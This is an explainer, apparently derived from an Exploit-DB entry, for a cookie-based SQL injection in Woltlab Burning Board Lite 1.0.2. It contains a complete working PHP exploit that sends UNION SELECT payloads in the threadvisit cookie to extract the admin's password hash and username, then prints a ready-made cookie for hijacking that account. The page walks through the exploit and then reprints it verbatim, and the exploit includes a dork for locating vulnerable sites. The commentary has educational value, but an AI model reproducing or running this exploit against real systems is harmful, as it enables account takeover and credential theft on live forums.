Woltlab Burning Board Lite 1.0.2 'decode_cookie()' SQL Injection Explained

Woltlab Burning Board Lite 1.0.2 'decode_cookie()' SQL Injection Explained
What this paper is
This paper details a SQL injection vulnerability in Woltlab Burning Board Lite version 1.0.2. The vulnerability lies within the decode_cookie() function, which is not explicitly shown in the provided exploit code but is implied to be the target. The exploit leverages this vulnerability to extract user credentials (username and password hash) from the database.
Simple technical breakdown
The exploit works by sending specially crafted SQL queries through a cookie named threadvisit. The web application, when processing this cookie, incorrectly sanitizes the input, allowing the attacker to inject malicious SQL code.
The exploit first attempts to discover the database table prefix by sending a query that is expected to cause an SQL error. The error message returned by the server reveals the prefix, which is then used in subsequent queries.
Once the prefix is known, the exploit proceeds in two main phases:
- Extracting the password hash: It iteratively queries the database to retrieve each character of the password hash for a specified user ID. It does this by using the
ORD(SUBSTRING(...))SQL function to get the ASCII value of each character and then converting it back to a character. - Extracting the username: Similarly, it first determines the length of the username and then iteratively extracts each character of the username.
The exploit then presents the extracted username and password hash, which can be used to impersonate the target user.
Complete code and payload walkthrough
The provided PHP script is a command-line exploit. Let's break down its components:
1. Header and Usage Information:
<?php
print_r('
--------------------------------------------------------------------------------
Woltlab Burning Board Lite 1.0.2 decode_cookie() sql injection exploit
by rgod retrog@alice.it
site: http://retrogod.altervista.org
dork: "Powered by Burning Board Lite 1.0.2 * 2001-2004"
--------------------------------------------------------------------------------
');
/*
works regardless of php.ini settings
*/
if ($argc<5) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path threadid uid OPTIONS
host: target server (ip/hostname)
path: path to wbblite
threadid: existing thread (a number)
userid: victim userid (a number, should be 1 for admin)
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /wbblite/ 1 1 -P1.1.1.1:80
" " localhost / 2 1 -p81
---------------------------------------------------------------------------------
');
die;
}- Purpose: This section prints introductory information about the exploit, its author, and a "dork" (search query for search engines) to find vulnerable sites. It also checks if the correct number of command-line arguments are provided. If not, it prints usage instructions and exits.
$argv: This is a PHP superglobal array containing command-line arguments.$argv[0]is the script name,$argv[1]is the host,$argv[2]is the path, and so on.$argc: This is a PHP superglobal variable that holds the number of command-line arguments.die;: This function outputs a message and terminates the script execution.
2. Initialization and Helper Functions:
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';error_reporting(0);: This disables error reporting, so any PHP errors won't be displayed to the user.ini_set("max_execution_time",0);: This sets the maximum execution time for the script to unlimited.ini_set("default_socket_timeout",5);: This sets a timeout of 5 seconds for socket operations.quick_dump($string)function: This function takes a string and returns a hexadecimal representation of its bytes along with a printable ASCII representation. It's a utility function for debugging and visualizing raw data, but it's not directly used in the exploit logic itself.$proxy_regex: A regular expression to validate proxy IP addresses and ports.
3. Network Communication Function:
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}sendpacketii($packet)function: This function is responsible for sending an HTTP packet to the target server.- It checks if a proxy is configured.
- If no proxy is used, it establishes a direct TCP connection to the
$hoston the specified$portusingfsockopen(). - If a proxy is used, it connects to the proxy server and then sends the packet through it.
- It sends the
$packetusingfputs(). - It then reads the response from the server into the global
$htmlvariable. The reading logic differs slightly for direct connections versus proxy connections, with the proxy connection waiting for a double CRLF (\r\n\r\n) to signify the end of headers. - Finally, it closes the socket connection.
4. Argument Parsing and Path Validation:
$host=$argv[1];
$path=$argv[2];
$threadid=(int)$argv[3];
$uid=(int)$argv[4];
$port=80;
$proxy="";
for ($i=5; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}- Argument Assignment: Assigns command-line arguments to variables like
$host,$path,$threadid, and$uid. The(int)cast ensures these are treated as integers. - Option Parsing: Loops through the remaining arguments (
$argv[5]onwards) to parse optional-p(port) and-P(proxy) arguments. - Path Validation: Checks if the provided
$pathstarts and ends with a forward slash (/). If not, it prints an error and exits. This is important for constructing correct URLs. - Path Prefixing: Sets up the
$pvariable, which will be used as the base path for HTTP requests. It prependshttp://host:portif a proxy is used.
5. Discovering the Database Table Prefix:
//disclose prefix...
$sql="$threadid,999999999999999'";
$data="goto=firstnew";
$packet ="POST ".$p."thread.php?threadid=$threadid HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: threadvisit=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("Invalid SQL",$html)){
$temp=explode("postid FROM",$html);
$temp2=explode("posts WHERE",$temp[1]);
$prefix=$temp2[0];
echo "vulnerable... prefix -> ".$prefix."\n";
}
else{
die("not vulnerable...");
}- Purpose: This section attempts to identify the database table prefix used by Woltlab Burning Board Lite. This is crucial because table names like
usersare often prefixed (e.g.,wbb_users). - Crafting the SQL:
$sql="$threadid,999999999999999'";This is the core of the injection. It's designed to cause an SQL error. Thethreadidis likely an integer, and the large number is intended to be outside the bounds of a normal thread ID. The trailing single quote (') is what breaks the original SQL query.
- HTTP Request: A
POSTrequest is constructed tothread.php. The malicious SQL is injected into theCookieheader asthreadvisit. Thegoto=firstnewis likely a parameter the application expects. - Response Analysis:
sendpacketii($packet);sends the crafted request.if (eregi("Invalid SQL",$html)): The exploit checks if the server's response contains the string "Invalid SQL". This indicates that the SQL injection was successful and the server returned an error message.$temp=explode("postid FROM",$html);and$temp2=explode("posts WHERE",$temp[1]);: These lines parse the error message to extract the table prefix. The error message is expected to contain something like... SELECT postid FROM prefix_posts WHERE .... By splitting the string, the exploit isolates the prefix.$prefix=$temp2[0];: Stores the extracted prefix.- If "Invalid SQL" is not found, the script assumes the target is not vulnerable and exits.
6. Extracting Password Hash (MD5):
echo "pwd hash (md5) -> ";
$hash="";
for ($i=1; $i<=32; $i++){
//bad char = ,
//this bypass magic quotes because of a stripslashes() in global.php
//we have to cycle because polls is int(11)
$sql="$threadid,999999999999999'/**/UNION/**/SELECT/**/ORD(SUBSTRING(password/**/FROM/**/$i/**/FOR/**/1))/**/FROM/**/".$prefix."users/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
$data="goto=firstnew";
$packet ="POST ".$p."thread.php?threadid=$threadid HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: threadvisit=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("#post",$html);
$temp2=explode("\n",$temp[1]);
echo chr((int)$temp2[0]);
$hash.=chr((int)$temp2[0]);
}
echo "\n";- Purpose: This loop iterates 32 times, attempting to extract each character of the MD5 password hash for the specified
$uid. - SQL Injection for Character Extraction:
$sql="$threadid,999999999999999'/**/UNION/**/SELECT/**/ORD(SUBSTRING(password/**/FROM/**/$i/**/FOR/**/1))/**/FROM/**/".$prefix."users/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";/**/UNION/**/SELECT/**/: This is a common SQL injection technique to combine the results of an injected query with the original query's expected output. The/**/is used as a comment to bypass potential filters and also to add spaces.ORD(SUBSTRING(password/**/FROM/**/$i/**/FOR/**/1)): This SQL function extracts a single character from thepasswordcolumn of theuserstable.SUBSTRING(password FROM $i FOR 1): Gets the character at position$i(1-indexed) from thepasswordstring.ORD(...): Returns the ASCII value of that character.
FROM /**/".$prefix."users/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*: Specifies the table (userswith the discovered prefix) and the condition (userid=$uid).LIMIT 1ensures only one row is returned. The trailing/*comments out the rest of the original query.
- Response Parsing:
$temp=explode("#post",$html);and$temp2=explode("\n",$temp[1]);: The exploit expects the server to return the ASCII value of the character within the HTML response, possibly delimited by#postand a newline.echo chr((int)$temp2[0]);: Converts the extracted ASCII value back into a character and prints it.$hash.=chr((int)$temp2[0]);: Appends the character to the$hashvariable.
7. Extracting Username Length and Characters:
$sql="$threadid,999999999999999'/**/UNION/**/SELECT/**/LENGTH(username)/**/FROM/**/".$prefix."users/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
$data="goto=firstnew";
$packet ="POST ".$p."thread.php?threadid=$threadid HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: threadvisit=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("#post",$html);
$temp2=explode("\n",$temp[1]);
$my_len=(int)$temp2[0];
//echo "username length -> ".$my_len."\n";
echo "username -> ";
for ($i=1; $i<=$my_len; $i++){
$sql="$threadid,999999999999999'/**/UNION/**/SELECT/**/ORD(SUBSTRING(username/**/FROM/**/$i/**/FOR/**/1))/**/FROM/**/".$prefix."users/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
$data="goto=firstnew";
$packet ="POST ".$p."thread.php?threadid=$threadid HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: threadvisit=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("#post",$html);
$temp2=explode("\n",$temp[1]);
echo chr((int)$temp2[0]);
$user.=chr((int)$temp2[0]);
}
echo "\n";- Purpose: This section first determines the length of the username and then iterates to extract each character of the username for the specified
$uid. - Extracting Username Length:
$sql="$threadid,999999999999999'/**/UNION/**/SELECT/**/LENGTH(username)/**/FROM/**/".$prefix."users/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";- This query uses
LENGTH(username)to get the length of the username from theuserstable.
- This query uses
- The response is parsed similarly to the password hash extraction to get the length into
$my_len.
- Extracting Username Characters:
- The subsequent
forloop runs from1to$my_len. - Inside the loop, the SQL query is:
$sql="$threadid,999999999999999'/**/UNION/**/SELECT/**/ORD(SUBSTRING(username/**/FROM/**/$i/**/FOR/**/1))/**/FROM/**/".$prefix."users/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";- This is identical to the password hash extraction, but it targets the
usernamecolumn instead ofpassword.
- This is identical to the password hash extraction, but it targets the
- Each extracted character is printed and appended to the
$uservariable.
- The subsequent
8. Final Output and Validation:
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($hash)) {
print_r('
exploit succeeded, try this cookie:
wbb_userid='.$uid.'; wbb_userpassword='.$hash.';
');
}
else {
echo "exploit failed...\n";
}
?>
# milw0rm.com [2006-11-24]is_hash($hash)function: A helper function to check if the extracted string looks like an MD5 hash (32 hexadecimal characters).- Result Display:
- If
is_hash()returns true, the exploit prints a success message along with the extractedwbb_useridandwbb_userpassword(which is the MD5 hash). These can be used to craft a session cookie. - If the hash doesn't match the expected format, it indicates failure.
- If
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
<?php
print_r('
--------------------------------------------------------------------------------
Woltlab Burning Board Lite 1.0.2 decode_cookie() sql injection exploit
by rgod retrog@alice.it
site: http://retrogod.altervista.org
dork: "Powered by Burning Board Lite 1.0.2 * 2001-2004"
--------------------------------------------------------------------------------
');
/*
works regardless of php.ini settings
*/
if ($argc<5) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path threadid uid OPTIONS
host: target server (ip/hostname)
path: path to wbblite
threadid: existing thread (a number)
userid: victim userid (a number, should be 1 for admin)
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /wbblite/ 1 1 -P1.1.1.1:80
" " localhost / 2 1 -p81
---------------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$threadid=(int)$argv[3];
$uid=(int)$argv[4];
$port=80;
$proxy="";
for ($i=5; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
//disclose prefix...
$sql="$threadid,999999999999999'";
$data="goto=firstnew";
$packet ="POST ".$p."thread.php?threadid=$threadid HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: threadvisit=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("Invalid SQL",$html)){
$temp=explode("postid FROM",$html);
$temp2=explode("posts WHERE",$temp[1]);
$prefix=$temp2[0];
echo "vulnerable... prefix -> ".$prefix."\n";
}
else{
die("not vulnerable...");
}
echo "pwd hash (md5) -> ";
$hash="";
for ($i=1; $i<=32; $i++){
//bad char = ,
//this bypass magic quotes because of a stripslashes() in global.php
//we have to cycle because polls is int(11)
$sql="$threadid,999999999999999'/**/UNION/**/SELECT/**/ORD(SUBSTRING(password/**/FROM/**/$i/**/FOR/**/1))/**/FROM/**/".$prefix."users/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
$data="goto=firstnew";
$packet ="POST ".$p."thread.php?threadid=$threadid HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: threadvisit=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("#post",$html);
$temp2=explode("\n",$temp[1]);
echo chr((int)$temp2[0]);
$hash.=chr((int)$temp2[0]);
}
echo "\n";
$sql="$threadid,999999999999999'/**/UNION/**/SELECT/**/LENGTH(username)/**/FROM/**/".$prefix."users/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
$data="goto=firstnew";
$packet ="POST ".$p."thread.php?threadid=$threadid HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: threadvisit=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("#post",$html);
$temp2=explode("\n",$temp[1]);
$my_len=(int)$temp2[0];
//echo "username length -> ".$my_len."\n";
echo "username -> ";
for ($i=1; $i<=$my_len; $i++){
$sql="$threadid,999999999999999'/**/UNION/**/SELECT/**/ORD(SUBSTRING(username/**/FROM/**/$i/**/FOR/**/1))/**/FROM/**/".$prefix."users/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
$data="goto=firstnew";
$packet ="POST ".$p."thread.php?threadid=$threadid HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: threadvisit=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("#post",$html);
$temp2=explode("\n",$temp[1]);
echo chr((int)$temp2[0]);
$user.=chr((int)$temp2[0]);
}
echo "\n";
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($hash)) {
print_r('
exploit succeeded, try this cookie:
wbb_userid='.$uid.'; wbb_userpassword='.$hash.';
');
}
else {
echo "exploit failed...\n";
}
?>
# milw0rm.com [2006-11-24]